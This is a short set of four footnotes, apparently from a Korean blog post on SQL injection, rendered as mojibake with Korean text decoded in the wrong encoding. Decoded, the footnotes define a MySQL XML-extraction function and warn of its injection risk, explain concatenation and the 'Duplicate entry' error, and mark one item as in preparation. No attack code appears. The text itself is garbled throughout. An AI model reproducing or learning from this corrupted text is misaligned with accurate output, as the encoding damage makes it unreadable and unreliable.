  1. MySQL์—์„œ XML ๋ฐ์ดํ„ฐ์—์„œ ๊ฐ’์„ ์ถ”์ถœํ•˜๋Š”๋ฐ ์‚ฌ์šฉ๋˜๋Š” ํ•จ์ˆ˜์ด๋ฉฐ, XPath ํ‘œํ˜„์‹์„ ์ ์šฉํ•˜์—ฌ ๊ฐ’์„ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์ ์ ˆํ•œ ๋ณด์•ˆ ์กฐ์น˜ ์—†์ด ์‚ฌ์šฉ๋  ๊ฒฝ์šฐ SQL Injection ์ทจ์•ฝ์ ์„ ์•…์šฉํ•  ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ ์ฃผ์˜! [๋ณธ๋ฌธ์œผ๋กœ]
  2. ๋ฌธ์ž์—ด ํ˜น์€ ๋ฐฐ์—ด์„ ํ•˜๋‚˜๋กœ ํ•ฉ์ณ ์ƒˆ๋กœ์šด ๋ฐฐ์—ด ๋˜๋Š” ๋ฌธ์ž์—ด์„ ๋ฐ˜ํ™˜ํ•จ [๋ณธ๋ฌธ์œผ๋กœ]
  3. DB์—์„œ ๊ณ ์œ  ์ œ์•ฝ ์กฐ๊ฑด์„ ์œ„๋ฐฐํ•˜์—ฌ ์ค‘๋ณต๋œ ๊ฐ’์„ ์‚ฝ์ž…ํ•˜๋ ค๊ณ  ํ•  ๋•Œ ๋ฐœ์ƒํ•˜๋Š” ์˜ค๋ฅ˜์ž…๋‹ˆ๋‹ค. ๊ณ ์œ  ์ œ์•ฝ ์กฐ๊ฑด์€ ํ…Œ์ด๋ธ”์˜ ํŠน์ • ์ปฌ๋Ÿผ์— ๊ณ ์œ ํ•œ ๊ฐ’์„ ๊ฐ€์ง€๋„๋ก ์„ค์ •ํ•˜๋Š” ๊ฒƒ์œผ๋กœ, ์ค‘๋ณต๋œ ๊ฐ’์„ ์‚ฝ์ž…ํ•˜๋ ค๊ณ  ํ•  ๊ฒฝ์šฐ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋Š” Duplicate entry ์˜ค๋ฅ˜๋ฅผ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค. ์ด ์˜ค๋ฅ˜๋Š” ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์˜ ๋ฐ์ดํ„ฐ ๋ฌด๊ฒฐ์„ฑ์„ ์œ ์ง€ํ•˜๊ธฐ ์œ„ํ•ด ๋ฐœ์ƒํ•˜๋ฉฐ, ์ค‘๋ณต๋œ ๋ฐ์ดํ„ฐ๋ฅผ ๋ฐฉ์ง€ํ•˜๋Š” ์—ญํ• ์„ ํ•ฉ๋‹ˆ๋‹ค. [๋ณธ๋ฌธ์œผ๋กœ]
  4. ์ค€๋น„ ์ค‘.. [๋ณธ๋ฌธ์œผ๋กœ]